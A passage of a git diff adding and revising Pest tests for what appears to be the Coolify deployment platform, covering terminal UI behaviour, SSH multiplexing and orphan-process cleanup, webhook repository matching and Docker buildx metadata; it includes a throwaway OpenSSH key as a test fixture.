a5087f5cd..9c3d5d673 100644 --- a/tests/Feature/PasswordVisibilityComponentTest.php +++ b/tests/Feature/PasswordVisibilityComponentTest.php @@ -21,6 +21,12 @@ ->not->toContain('changePasswordFieldType'); }); +it('renders password input before visibility toggle in tab order', function () { + $html = Blade::render(''); + + expect(strpos($html, 'toBeLessThan(strpos($html, 'aria-label="Toggle password visibility"')); +}); + it('renders password textarea with Alpine-managed visibility state', function () { $html = Blade::render(''); @@ -31,6 +37,12 @@ ->not->toContain('changePasswordFieldType'); }); +it('renders password textarea input before visibility toggle in tab order', function () { + $html = Blade::render(''); + + expect(strpos($html, 'toBeLessThan(strpos($html, 'aria-label="Toggle password visibility"')); +}); + it('renders textarea without monospace classes by default', function () { $html = Blade::render(''); @@ -53,3 +65,9 @@ ->toContain("x-on:click=\"type = type === 'password' ? 'text' : 'password'\"") ->toContain('x-bind:type="type"'); }); + +it('renders env var password input before visibility toggle in tab order', function () { + $html = Blade::render(''); + + expect(strpos($html, 'toBeLessThan(strpos($html, 'aria-label="Toggle password visibility"')); +}); diff --git a/tests/Feature/ProfileAppearanceNavigationTest.php b/tests/Feature/ProfileAppearanceNavigationTest.php new file mode 100644 index 000000000..b81a1c6a5 --- /dev/null +++ b/tests/Feature/ProfileAppearanceNavigationTest.php @@ -0,0 +1,43 @@ +toContain("Route::get('/profile/appearance', ProfileAppearance::class)->name('profile.appearance')") + ->and($profileNavbar) + ->toContain('route(\'profile\')') + ->toContain('route(\'profile.appearance\')') + ->toContain('General') + ->toContain('Appearance') + ->and($profileView) + ->toContain('') + ->not->toContain('

Profile

\n
'); +}); + +it('moves appearance preferences to the profile appearance view', function () { + $appearanceView = file_get_contents(resource_path('views/livewire/profile/appearance.blade.php')); + + expect($appearanceView) + ->toContain('') + ->toContain("setTheme('light')") + ->toContain("setTheme('system')") + ->toContain("setTheme('dark')") + ->toContain("setWidth('center')") + ->toContain("setWidth('full')") + ->toContain("setZoom('100')") + ->toContain("setZoom('90')") + ->toContain('aria-label="Use light theme"') + ->toContain('aria-label="Use system theme"') + ->toContain('aria-label="Use dark theme"') + ->toContain('aria-label="Use centered width"') + ->toContain('aria-label="Use full width"') + ->toContain('aria-label="Use 100 percent zoom"') + ->toContain('aria-label="Use 90 percent zoom"') + ->toContain('max-w-2xl') + ->toContain('class="space-y-1.5"') + ->toContain('gap-1.5') + ->toContain('px-2 py-1 text-sm'); +}); diff --git a/tests/Feature/RealtimeTerminalPackagingTest.php b/tests/Feature/RealtimeTerminalPackagingTest.php index ba01deca5..48072065d 100644 --- a/tests/Feature/RealtimeTerminalPackagingTest.php +++ b/tests/Feature/RealtimeTerminalPackagingTest.php @@ -24,11 +24,12 @@ ->not->toContain("console.log('[Terminal] WebSocket connection established. Cool cool cool cool cool cool.');"); }); -it('keeps realtime terminal server logging restricted to development environments', function () { +it('keeps realtime terminal server logging behind the explicit debug flag', function () { $terminalServer = file_get_contents(base_path('docker/coolify-realtime/terminal-server.js')); expect($terminalServer) - ->toContain("const terminalDebugEnabled = ['local', 'development'].includes(") + ->toContain('const debugOverride = String(process.env.TERMINAL_DEBUG') + ->toContain("['1', 'true', 'yes', 'on'].includes(debugOverride)") ->toContain('if (!terminalDebugEnabled) {') ->not->toContain("console.log('Coolify realtime terminal server listening on port 6002. Let the hacking begin!');"); }); @@ -58,22 +59,45 @@ ->toContain("'Visibility-resume timeout'"); }); -it('closes idle terminal sessions after 30 minutes on the server', function () { +it('does not hard close terminal sessions after 30 minutes on the server', function () { $terminalServer = file_get_contents(base_path('docker/coolify-realtime/terminal-server.js')); expect($terminalServer) - ->toContain('IDLE_TIMEOUT_MS = 30 * 60 * 1000') - ->toContain('lastActivityAt') - ->toContain("ws.send('idle-timeout');") - ->toContain("ws.close(1000, 'Idle timeout');"); + ->not->toContain('IDLE_TIMEOUT_MS = 30 * 60 * 1000') + ->not->toContain("ws.send('idle-timeout');") + ->not->toContain("ws.close(1000, 'Idle timeout');"); }); -it('reacts to idle-timeout sentinel on the client and shows a user-facing error', function () { +it('does not close the client terminal from an idle-timeout sentinel', function () { $terminalClient = file_get_contents(base_path('resources/js/terminal.js')); expect($terminalClient) - ->toContain("event.data === 'idle-timeout'") - ->toContain('Terminal closed after 30 minutes of inactivity.'); + ->not->toContain("event.data === 'idle-timeout'") + ->not->toContain('Terminal closed after 30 minutes of inactivity.'); +}); + +it('keeps Livewire alive in background tabs while a terminal is connected', function () { + $terminalComponent = file_get_contents(base_path('app/Livewire/Project/Shared/Terminal.php')); + $terminalView = file_get_contents(base_path('resources/views/livewire/project/shared/terminal.blade.php')); + + expect($terminalComponent) + ->toContain('public bool $isTerminalConnected = false;') + ->toContain("#[On('terminalConnected')]") + ->toContain('public function markTerminalConnected(): void') + ->toContain('public function keepTerminalPageAlive(): void') + ->and($terminalView) + ->toContain('@if ($isTerminalConnected)') + ->toContain('wire:poll.keep-alive.30s="keepTerminalPageAlive"'); +}); + +it('exits fullscreen when the terminal process exits', function () { + $terminalClient = file_get_contents(resource_path('js/terminal.js')); + + expect($terminalClient) + ->toContain("event.data === 'pty-exited'") + ->toContain('this.fullscreen = false; + this.mobileToolbarCollapsed = false; + this.terminalActive = false;'); }); it('replays the last command on reconnect so the PTY respawns automatically', function () { @@ -104,3 +128,91 @@ // resetTerminal must NOT call term.reset()/term.clear() any more — those wipe scrollback. ->not->toContain("this.term.reset();\n this.term.clear();"); }); + +it('renders a compact mobile terminal toolbar with shell control keys', function () { + $terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php')); + $appCss = file_get_contents(resource_path('css/app.css')); + + expect($terminalView) + ->toContain('Terminal keys') + ->toContain('sm:hidden') + ->toContain("sendTerminalControl('arrowUp')") + ->toContain("sendTerminalControl('arrowDown')") + ->toContain("sendTerminalControl('arrowLeft')") + ->toContain("sendTerminalControl('arrowRight')") + ->toContain("sendTerminalControl('tab')") + ->toContain("sendTerminalControl('escape')") + ->not->toContain("sendTerminalControl('ctrlC')") + ->not->toContain('pasteFromClipboard()') + ->not->toContain('copyTerminalSelection()') + ->toContain('mobileToolbarCollapsed') + ->toContain("fullscreen ? 'absolute inset-x-0 bottom-0 z-[9999] px-2 pb-2' : 'relative mt-2'") + ->toContain('data-terminal-mobile-toolbar') + ->and($appCss) + ->toContain('.terminal-mobile-key'); +}); + +it('sends terminal mobile toolbar controls through the websocket', function () { + $terminalClient = file_get_contents(resource_path('js/terminal.js')); + + expect($terminalClient) + ->toContain('sendTerminalInput(data)') + ->toContain('sendTerminalControl(sequence)') + ->toContain("arrowUp: '\\x1b[A'") + ->toContain("arrowDown: '\\x1b[B'") + ->toContain("arrowRight: '\\x1b[C'") + ->toContain("arrowLeft: '\\x1b[D'") + ->toContain("tab: '\\t'") + ->toContain("escape: '\\x1b'") + ->toContain("ctrlC: '\\x03'") + ->toContain('navigator.clipboard.readText()') + ->toContain('navigator.clipboard.writeText(selection)'); +}); + +it('uses terminal dimensions when resizing so mobile controls do not cover terminal rows', function () { + $terminalClient = file_get_contents(resource_path('js/terminal.js')); + + expect($terminalClient) + ->toContain("document.getElementById('terminal')") + ->toContain('terminalHeight') + ->toContain('terminalWidth') + ->not->toContain('const wrapperHeight = this.$refs.terminalWrapper.clientHeight;'); +}); + +it('uses simple fullscreen bottom margin based on mobile toolbar visibility', function () { + $terminalClient = file_get_contents(resource_path('js/terminal.js')); + $terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php')); + + expect($terminalClient) + ->not->toContain('updateFullscreenLayout()') + ->not->toContain('terminalFullscreenHeight') + ->not->toContain('window.visualViewport?.height') + ->and($terminalView) + ->toContain("mobileToolbarCollapsed ? 'h-[calc(100dvh-3.5rem)] mb-14 px-2 py-1 bg-black' : 'h-[calc(100dvh-6rem)] mb-[6rem] px-2 py-1 bg-black'") + ->toContain("fullscreen ? 'absolute inset-x-0 bottom-0 z-[9999] px-2 pb-2'"); +}); + +it('resizes after toggling the mobile terminal toolbar', function () { + $terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php')); + + expect($terminalView) + ->toContain('$nextTick(() => resizeTerminal())'); +}); + +it('uses fixed viewport positioning for fullscreen terminal instead of inherited container size', function () { + $terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php')); + + expect($terminalView) + ->toContain('fixed inset-0') + ->toContain('h-[100dvh]') + ->toContain('w-screen') + ->toContain('max-w-none') + ->toContain('overflow-hidden'); +}); + +it('constrains normal terminal height after leaving fullscreen', function () { + $terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php')); + + expect($terminalView) + ->toContain('h-[510px] max-h-[calc(100dvh-10rem)] overflow-hidden'); +}); diff --git a/tests/Feature/ScheduleOnOneServerTest.php b/tests/Feature/ScheduleOnOneServerTest.php index 10758738c..167d16bfa 100644 --- a/tests/Feature/ScheduleOnOneServerTest.php +++ b/tests/Feature/ScheduleOnOneServerTest.php @@ -21,6 +21,18 @@ expect($event->onOneServer)->toBeTrue(); }); +it('schedules ssh mux cleanup locally on every scheduler host', function () { + $schedule = app(Schedule::class); + + $event = collect($schedule->events())->first( + fn ($e) => (string) $e->description === 'cleanup:ssh-mux' + ); + + expect($event)->not->toBeNull(); + expect($event->onOneServer)->toBeFalse(); + expect($event->getSummaryForDisplay())->toBe('cleanup:ssh-mux'); +}); + it('schedules every production job with onOneServer', function () { $schedule = app(Schedule::class); diff --git a/tests/Feature/SettingsDropdownTest.php b/tests/Feature/SettingsDropdownTest.php new file mode 100644 index 000000000..db6c70111 --- /dev/null +++ b/tests/Feature/SettingsDropdownTest.php @@ -0,0 +1,44 @@ + 'test@example.com']); + $user->id = 1; + + Auth::setUser($user); + + app()->instance(ChangelogService::class, new class extends ChangelogService + { + public function getEntriesForUser(User $user): Collection + { + return collect([ + (object) [ + 'tag_name' => 'v1.0.0', + 'title' => 'Test Release', + 'content' => 'Release notes', + 'content_html' => '

Release notes

', + 'published_at' => Carbon::parse('2026-05-01'), + 'is_read' => false, + ], + ]); + } + + public function getUnreadCountForUser(User $user): int + { + return 1; + } + }); + + Livewire::test(SettingsDropdown::class, ['trigger' => 'changelog-sidebar']) + ->call('openWhatsNewModal') + ->assertSee('Changelog') + ->assertSee('z-[60]', false) + ->assertSee('closeWhatsNewModal', false); +}); diff --git a/tests/Feature/SidebarNavigationMarkupTest.php b/tests/Feature/SidebarNavigationMarkupTest.php new file mode 100644 index 000000000..5e8ffe58f --- /dev/null +++ b/tests/Feature/SidebarNavigationMarkupTest.php @@ -0,0 +1,19 @@ +toContain("collapsed: localStorage.getItem('sidebarCollapsed') === 'true'") + ->toContain('sidebarReady: false') + ->toContain(":class=\"[collapsed ? 'lg:w-16' : 'lg:w-56', sidebarReady ? 'transition-[width] duration-200' : '']\"") + ->toContain(":class=\"[collapsed ? 'lg:pl-[6rem]' : 'lg:pl-[16rem]', sidebarReady ? 'transition-[padding] duration-200' : '']\""); +}); + +it('does not animate navbar padding when restoring collapsed state', function () { + $navbar = file_get_contents(resource_path('views/components/navbar.blade.php')); + + expect($navbar) + ->not->toContain('items-start gap-3 motion-safe:transition-all') + ->not->toContain('overflow-hidden motion-safe:transition-all'); +}); diff --git a/tests/Feature/SidebarNavigationPreferencesTest.php b/tests/Feature/SidebarNavigationPreferencesTest.php new file mode 100644 index 000000000..f27eccd99 --- /dev/null +++ b/tests/Feature/SidebarNavigationPreferencesTest.php @@ -0,0 +1,64 @@ +toContain('') + ->not->toContain('') + ->toContain('aria-label="Theme switcher"') + ->toContain('aria-label="Use light theme"') + ->toContain('aria-label="Use system theme"') + ->toContain('aria-label="Use dark theme"') + ->toContain('cycleTheme()') + ->toContain("const themes = ['light', 'system', 'dark'];") + ->toContain('pl-2 pr-3 items-start gap-3') + ->toContain('class="flex min-w-0 flex-1 flex-col"') + ->toContain('class="min-w-0 flex-1"') + ->toContain('class="flex h-8 w-full items-center justify-between'); +}); + +it('keeps changelog and appearance options out of the preferences dropdown', function () { + $dropdownView = file_get_contents(resource_path('views/livewire/settings-dropdown.blade.php')); + + expect($dropdownView) + ->toContain("\$trigger === 'changelog-sidebar'") + ->toContain('title="What\'s New"') + ->toContain('aria-label="What\'s New"') + ->toContain('wire:click="openWhatsNewModal"') + ->toContain('class="relative text-left menu-item"') + ->toContain('class="text-left menu-item-label"') + ->toContain("What's New") + ->toContain('M9.813 15.904 9 18.75') + ->not->toContain('Changelog') + ->not->toContain('Appearance
') + ->not->toContain("@click=\"setTheme('dark'); dropdownOpen = false\"") + ->not->toContain("@click=\"setTheme('light'); dropdownOpen = false\"") + ->not->toContain("@click=\"setTheme('system'); dropdownOpen = false\""); +}); + +it('opens and closes the changelog modal state', function () { + $component = new SettingsDropdown; + $component->trigger = 'changelog-sidebar'; + + expect($component->trigger)->toBe('changelog-sidebar') + ->and($component->showWhatsNewModal)->toBeFalse(); + + $component->openWhatsNewModal(); + + expect($component->showWhatsNewModal)->toBeTrue(); + + $component->closeWhatsNewModal(); + + expect($component->showWhatsNewModal)->toBeFalse(); +}); + +it('uses the default button palette for the changelog fetch action in light mode', function () { + $dropdownView = file_get_contents(resource_path('views/livewire/settings-dropdown.blade.php')); + + expect($dropdownView) + ->toContain('wire:click="manualFetchChangelog"') + ->not->toContain('bg-coolgray-200 hover:bg-coolgray-300'); +}); diff --git a/tests/Feature/SshMultiplexingLockTest.php b/tests/Feature/SshMultiplexingLockTest.php index e97be1f50..f06e50c1a 100644 --- a/tests/Feature/SshMultiplexingLockTest.php +++ b/tests/Feature/SshMultiplexingLockTest.php @@ -1,17 +1,19 @@ create(); $team = $user->teams()->first(); - $privateKeyContent = "-----BEGIN OPENSSH PRIVATE KEY-----\n". - "b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW\n". - "QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk\n". - "hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA\n". - "AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV\n". - "uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==\n". + $privateKeyContent = '-----BEGIN OPENSSH PRIVATE KEY----- +'. + 'b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW +'. + 'QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk +'. + 'hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA +'. + 'AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV +'. + 'uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA== +'. '-----END OPENSSH PRIVATE KEY-----'; $privateKey = PrivateKey::create([ @@ -37,74 +45,92 @@ function makeMuxServer(): Server Storage::fake('ssh-keys'); Storage::disk('ssh-keys')->put("ssh_key@{$privateKey->uuid}", $privateKeyContent); - return Server::factory()->create([ + $server = Server::factory()->create([ 'team_id' => $team->id, 'private_key_id' => $privateKey->id, ]); + + Storage::disk('ssh-keys')->put("ssh_key@{$server->privateKey->uuid}", $server->privateKey->private_key); + + return $server; } -it('does not prewarm a background ssh master', function () { +it('establishes a master with ssh -fN and never the orphan-prone ssh -fNM', function () { config(['constants.ssh.mux_enabled' => true]); $server = makeMuxServer(); - Process::fake(); + Process::fake([ + '*-O check*' => Process::result(exitCode: 1), + '*-fN *' => Process::result(exitCode: 0), + ]); expect(SshMultiplexingHelper::ensureMultiplexedConnection($server))->toBeTrue(); - Process::assertNothingRan(); + Process::assertRan(fn ($process) => str_contains($process->command, 'ssh -fN ') + && ! str_contains($process->command, 'ssh -fNM')); }); -it('adds native openssh multiplexing options to ssh commands', function () { - config(['constants.ssh.mux_enabled' => true]); - $server = makeMuxServer(); - Storage::disk('ssh-keys')->put("ssh_key@{$server->privateKey->uuid}", $server->privateKey->private_key); - - Process::fake(); - - $command = SshMultiplexingHelper::generateSshCommand($server, 'echo ok'); - - expect($command) - ->toContain('-o ControlMaster=auto') - ->toContain("-o ControlPath=/var/www/html/storage/app/ssh/mux/mux_{$server->uuid}") - ->toContain('-o ControlPersist=3600') - ->not->toContain('-O check') - ->not->toContain('ssh -fN'); - - Process::assertNothingRan(); -}); - -it('omits native multiplexing options when ssh multiplexing is disabled for a command', function () { - config(['constants.ssh.mux_enabled' => true]); - $server = makeMuxServer(); - Storage::disk('ssh-keys')->put("ssh_key@{$server->privateKey->uuid}", $server->privateKey->private_key); - - $command = SshMultiplexingHelper::generateSshCommand($server, 'echo ok', disableMultiplexing: true); - - expect($command) - ->not->toContain('-o ControlMaster=auto') - ->not->toContain('-o ControlPath=') - ->not->toContain('-o ControlPersist='); -}); - -it('adds native openssh multiplexing options to scp commands', function () { - config(['constants.ssh.mux_enabled' => true]); +it('reuses an existing healthy master without spawning a new one', function () { + config([ + 'constants.ssh.mux_enabled' => true, + 'constants.ssh.mux_health_check_enabled' => true, + ]); $server = makeMuxServer(); - Process::fake(); + Process::fake([ + '*-O check*' => Process::result(exitCode: 0), + '*health_check_ok*' => Process::result(output: 'health_check_ok', exitCode: 0), + ]); - $command = SshMultiplexingHelper::generateScpCommand($server, '/tmp/source', '/tmp/dest'); + expect(SshMultiplexingHelper::ensureMultiplexedConnection($server))->toBeTrue(); - expect($command) - ->toContain('-o ControlMaster=auto') - ->toContain("-o ControlPath=/var/www/html/storage/app/ssh/mux/mux_{$server->uuid}") - ->toContain('-o ControlPersist=3600') - ->not->toContain('-O check') - ->not->toContain('ssh -fN'); - - Process::assertNothingRan(); + Process::assertNotRan(fn ($process) => str_contains($process->command, 'ssh -fN')); }); -it('returns false and runs no process when multiplexing is globally disabled', function () { +it('refreshes an expired master before reuse', function () { + config([ + 'constants.ssh.mux_enabled' => true, + 'constants.ssh.mux_health_check_enabled' => false, + 'constants.ssh.mux_max_age' => 10, + ]); + $server = makeMuxServer(); + Cache::put("ssh_mux_connection_time_{$server->uuid}", time() - 30, 3600); + + Process::fake([ + '*-O check*' => Process::result(exitCode: 0), + '*-O exit*' => Process::result(exitCode: 0), + '*-fN *' => Process::result(exitCode: 0), + ]); + + expect(SshMultiplexingHelper::ensureMultiplexedConnection($server))->toBeTrue(); + + Process::assertRan(fn ($process) => str_contains($process->command, 'ssh -O exit')); + Process::assertRan(fn ($process) => str_contains($process->command, 'ssh -fN ')); +}); + +it('does not spawn a master when the per-server lock is already held', function () { + config([ + 'constants.ssh.mux_enabled' => true, + 'constants.ssh.mux_lock_timeout' => 0, + ]); + $server = makeMuxServer(); + + Process::fake([ + '*-O check*' => Process::result(exitCode: 1), + ]); + + $lockKey = 'ssh_mux_lock_'.(gethostname() ?: 'unknown').'_'.$server->uuid; + $held = Cache::lock($lockKey, 30); + expect($held->get())->toBeTrue(); + + expect(SshMultiplexingHelper::ensureMultiplexedConnection($server))->toBeFalse(); + + Process::assertNotRan(fn ($process) => str_contains($process->command, 'ssh -fN ')); + + $held->release(); +}); + +it('returns false and runs no ssh when multiplexing is disabled', function () { config(['constants.ssh.mux_enabled' => false]); $server = makeMuxServer(); @@ -114,3 +140,182 @@ function makeMuxServer(): Server Process::assertNothingRan(); }); + +it('adds mux options to ssh commands only after the explicit master is ready', function () { + config(['constants.ssh.mux_enabled' => true]); + $server = makeMuxServer(); + + Process::fake([ + '*-O check*' => Process::result(exitCode: 1), + '*-fN *' => Process::result(exitCode: 0), + ]); + + $command = SshMultiplexingHelper::generateSshCommand($server, 'echo ok'); + + expect($command) + ->toContain('-o ControlMaster=auto') + ->toContain("-o ControlPath=/var/www/html/storage/app/ssh/mux/mux_{$server->uuid}") + ->toContain('-o ControlPersist=3600') + ->toContain("'bash -se' << \\") + ->not->toContain('<< $delimiter'); + + Process::assertRan(fn ($process) => str_contains($process->command, 'ssh -fN ')); +}); + +it('can generate terminal ssh commands without a hard command timeout', function () { + config(['constants.ssh.mux_enabled' => false]); + $server = makeMuxServer(); + + $command = SshMultiplexingHelper::generateSshCommand($server, 'echo ok', commandTimeout: 0); + + expect($command) + ->toStartWith('ssh ') + ->not->toStartWith('timeout ') + ->not->toContain('timeout 3600 ssh'); +}); + +it('omits multiplexing options and setup when disabled for a command', function () { + config(['constants.ssh.mux_enabled' => true]); + $server = makeMuxServer(); + + Process::fake(); + + $command = SshMultiplexingHelper::generateSshCommand($server, 'echo ok', disableMultiplexing: true); + + expect($command) + ->not->toContain('-o ControlMaster=auto') + ->not->toContain('-o ControlPath=') + ->not->toContain('-o ControlPersist='); + + Process::assertNothingRan(); +}); + +it('adds mux options to scp commands only after the explicit master is ready', function () { + config(['constants.ssh.mux_enabled' => true]); + $server = makeMuxServer(); + + Process::fake([ + '*-O check*' => Process::result(exitCode: 1), + '*-fN *' => Process::result(exitCode: 0), + ]); + + $command = SshMultiplexingHelper::generateScpCommand($server, '/tmp/source', '/tmp/dest'); + + expect($command) + ->toContain('-o ControlMaster=auto') + ->toContain("-o ControlPath=/var/www/html/storage/app/ssh/mux/mux_{$server->uuid}") + ->toContain('-o ControlPersist=3600'); + + Process::assertRan(fn ($process) => str_contains($process->command, 'ssh -fN ')); +}); + +it('kills only old orphaned ssh masters whose control socket no longer exists', function () { + config(['constants.ssh.mux_orphan_reap_enabled' => true]); + $muxDir = storage_path('app/ssh/mux'); + File::ensureDirectoryExists($muxDir); + + $liveSocket = $muxDir.'/mux_live_'.uniqid(); + $orphanSocket = $muxDir.'/mux_orphan_'.uniqid(); + $youngSocket = $muxDir.'/mux_young_'.uniqid(); + File::put($liveSocket, 'x'); + + Process::fake([ + 'ps*' => Process::result(output: "111 1 5000 ssh -fN -o ControlMaster=auto -o ControlPath={$liveSocket} root@1.2.3.4 +". + "222 1 5000 ssh -fN -o ControlMaster=auto -o ControlPath={$orphanSocket} root@1.2.3.4 +". + "333 1 30 ssh -fN -o ControlMaster=auto -o ControlPath={$youngSocket} root@1.2.3.4 +"), + 'kill*' => Process::result(exitCode: 0), + ]); + + $job = new CleanupStaleMultiplexedConnections; + $method = new ReflectionMethod($job, 'cleanupOrphanedSshProcesses'); + $method->setAccessible(true); + $method->invoke($job); + + Process::assertRan(fn ($process) => str_contains($process->command, 'kill') && str_contains($process->command, '222')); + Process::assertNotRan(fn ($process) => str_contains($process->command, 'kill') && str_contains($process->command, '111')); + Process::assertNotRan(fn ($process) => str_contains($process->command, 'kill') && str_contains($process->command, '333')); + + File::delete($liveSocket); +}); + +it('kills only old orphaned cloudflared proxies whose parent ssh is gone', function () { + config(['constants.ssh.mux_orphan_reap_enabled' => true]); + + Process::fake([ + 'ps*' => Process::result(output: '100 1 5000 ssh -fN -o ControlMaster=auto root@1.2.3.4 +'. + '200 100 5000 cloudflared access ssh --hostname host.example.com +'. + '300 2176 5000 cloudflared access ssh --hostname host.example.com +'. + '400 2176 30 cloudflared access ssh --hostname host.example.com +'. + '2176 1 9000 /usr/bin/some-supervisor +'), + 'kill*' => Process::result(exitCode: 0), + ]); + + $job = new CleanupStaleMultiplexedConnections; + $method = new ReflectionMethod($job, 'cleanupOrphanedCloudflaredProcesses'); + $method->setAccessible(true); + $method->invoke($job); + + Process::assertRan(fn ($process) => str_contains($process->command, 'kill') && str_contains($process->command, '300')); + Process::assertNotRan(fn ($process) => str_contains($process->command, 'kill') && str_contains($process->command, '200')); + Process::assertNotRan(fn ($process) => str_contains($process->command, 'kill') && str_contains($process->command, '400')); +}); + +it('dry-run mode logs orphans but kills nothing when reaping is disabled', function () { + config(['constants.ssh.mux_orphan_reap_enabled' => false]); + $muxDir = storage_path('app/ssh/mux'); + File::ensureDirectoryExists($muxDir); + + $orphanSocket = $muxDir.'/mux_orphan_'.uniqid(); + + Process::fake([ + 'ps*' => Process::result(output: "222 1 5000 ssh -fN -o ControlMaster=auto -o ControlPath={$orphanSocket} root@1.2.3.4 +"), + 'kill*' => Process::result(exitCode: 0), + ]); + + $job = new CleanupStaleMultiplexedConnections; + $method = new ReflectionMethod($job, 'cleanupOrphanedSshProcesses'); + $method->setAccessible(true); + $method->invoke($job); + + Process::assertNotRan(fn ($process) => str_contains($process->command, 'kill')); +}); + +it('removes mux files for non-existent servers when reaping is enabled', function () { + config(['constants.ssh.mux_orphan_reap_enabled' => true]); + Storage::fake('ssh-mux'); + $file = 'mux_ghost'.uniqid(); + Storage::disk('ssh-mux')->put($file, 'x'); + Process::fake(); + + $job = new CleanupStaleMultiplexedConnections; + $method = new ReflectionMethod($job, 'cleanupNonExistentServerConnections'); + $method->setAccessible(true); + $method->invoke($job); + + expect(Storage::disk('ssh-mux')->exists($file))->toBeFalse(); +}); + +it('keeps mux files for non-existent servers in dry-run mode', function () { + config(['constants.ssh.mux_orphan_reap_enabled' => false]); + Storage::fake('ssh-mux'); + $file = 'mux_ghost'.uniqid(); + Storage::disk('ssh-mux')->put($file, 'x'); + Process::fake(); + + $job = new CleanupStaleMultiplexedConnections; + $method = new ReflectionMethod($job, 'cleanupNonExistentServerConnections'); + $method->setAccessible(true); + $method->invoke($job); + + expect(Storage::disk('ssh-mux')->exists($file))->toBeTrue(); + Process::assertNothingRan(); +}); diff --git a/tests/Feature/Webhook/WebhookHmacTest.php b/tests/Feature/Webhook/WebhookHmacTest.php index be2417462..3f49ff43d 100644 --- a/tests/Feature/Webhook/WebhookHmacTest.php +++ b/tests/Feature/Webhook/WebhookHmacTest.php @@ -509,6 +509,48 @@ function createApplicationWithWebhook(string $repo = 'test-org/test-repo', strin expect($response->getContent())->not->toContain('No applications found'); }); + test('gitlab matches scp-style ssh repository URL with custom port', function () { + $app = createApplicationWithWebhook(overrides: [ + 'git_repository' => 'git@gitlab.example.com:2222/services/xyz.git', + 'git_branch' => 'master', + ]); + $secret = $app->manual_webhook_secret_gitlab; + + $response = $this->postJson('/webhooks/source/gitlab/events/manual', [ + 'object_kind' => 'push', + 'ref' => 'refs/heads/master', + 'project' => ['path_with_namespace' => 'services/xyz'], + 'after' => 'abc123', + 'commits' => [], + ], [ + 'X-Gitlab-Token' => $secret, + ]); + + $response->assertOk(); + expect($response->getContent())->not->toContain('No applications found'); + }); + + test('gitlab matches scp-style ssh repository URL without port', function () { + $app = createApplicationWithWebhook(overrides: [ + 'git_repository' => 'git@gitlab.example.com:services/xyz.git', + 'git_branch' => 'master', + ]); + $secret = $app->manual_webhook_secret_gitlab; + + $response = $this->postJson('/webhooks/source/gitlab/events/manual', [ + 'object_kind' => 'push', + 'ref' => 'refs/heads/master', + 'project' => ['path_with_namespace' => 'services/xyz'], + 'after' => 'abc123', + 'commits' => [], + ], [ + 'X-Gitlab-Token' => $secret, + ]); + + $response->assertOk(); + expect($response->getContent())->not->toContain('No applications found'); + }); + test('github matches repository case-insensitively', function () { $app = createApplicationWithWebhook(overrides: [ 'git_repository' => 'https://github.com/Test-Org/Test-Repo.git', diff --git a/tests/Unit/Actions/Server/CleanupDockerTest.php b/tests/Unit/Actions/Server/CleanupDockerTest.php index 1a6a0d3d6..a70f07d15 100644 --- a/tests/Unit/Actions/Server/CleanupDockerTest.php +++ b/tests/Unit/Actions/Server/CleanupDockerTest.php @@ -447,6 +447,15 @@ expect($sourceFile)->toContain('label=coolify.managed=true'); }); +it('uses persisted buildx metadata when pruning the railpack builder', function () { + $sourceFile = file_get_contents(__DIR__.'/../../../../app/Actions/Server/CleanupDocker.php'); + + expect($sourceFile) + ->toContain('docker run --rm -v \\$HOME/.docker/buildx:/root/.docker/buildx') + ->toContain('docker buildx prune --builder coolify-railpack -af') + ->not->toContain('--buildkitd-flags'); +}); + it('preserves build image for currently running tag', function () { $images = collect([ ['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'], diff --git a/tests/Unit/ApplicationDeploymentRailpackBuildxMetadataTest.php b/tests/Unit/ApplicationDeploymentRailpackBuildxMetadataTest.php new file mode 100644 index 000000000..70b021f0a --- /dev/null +++ b/tests/Unit/ApplicationDeploymentRailpackBuildxMetadataTest.php @@ -0,0 +1,11 @@ +toContain('mkdir -p {$this->serverUserHomeDir}/.docker/buildx') + ->toContain('-v {$this->serverUserHomeDir}/.docker/buildx:/root/.docker/buildx'); + + expect(substr_count($sourceFile, '{$buildxMetadataVolume} -v /var/run/docker.sock:/var/run/docker.sock'))->toBe(3); +}); diff --git a/tests/Unit/DockerImagePreviewTagResolutionTest.php b/tests/Unit/DockerImagePreviewTagResolutionTest.php index e6d0b6a4e..17f7d7b9b 100644 --- a/tests/Unit/DockerImagePreviewTagResolutionTest.php +++ b/tests/Unit/DockerImagePreviewTagResolutionTest.php @@ -74,3 +74,60 @@ expect($method->invoke($job))->toBe('latest'); }); + +function makeDockerRegistryTagPushJob(int $pullRequestId, ?string $dockerRegistryImageTag): object +{ + $reflection = new ReflectionClass(ApplicationDeploymentJob::class); + $job = $reflection->newInstanceWithoutConstructor(); + + $pullRequestProperty = $reflection->getProperty('pull_request_id'); + $pullRequestProperty->setAccessible(true); + $pullRequestProperty->setValue($job, $pullRequestId); + + $applicationProperty = $reflection->getProperty('application'); + $applicationProperty->setAccessible(true); + $applicationProperty->setValue($job, new Application([ + 'docker_registry_image_tag' => $dockerRegistryImageTag, + ])); + + return $job; +} + +it('pushes the configured docker registry image tag for production deployments', function () { + $reflection = new ReflectionClass(ApplicationDeploymentJob::class); + $job = 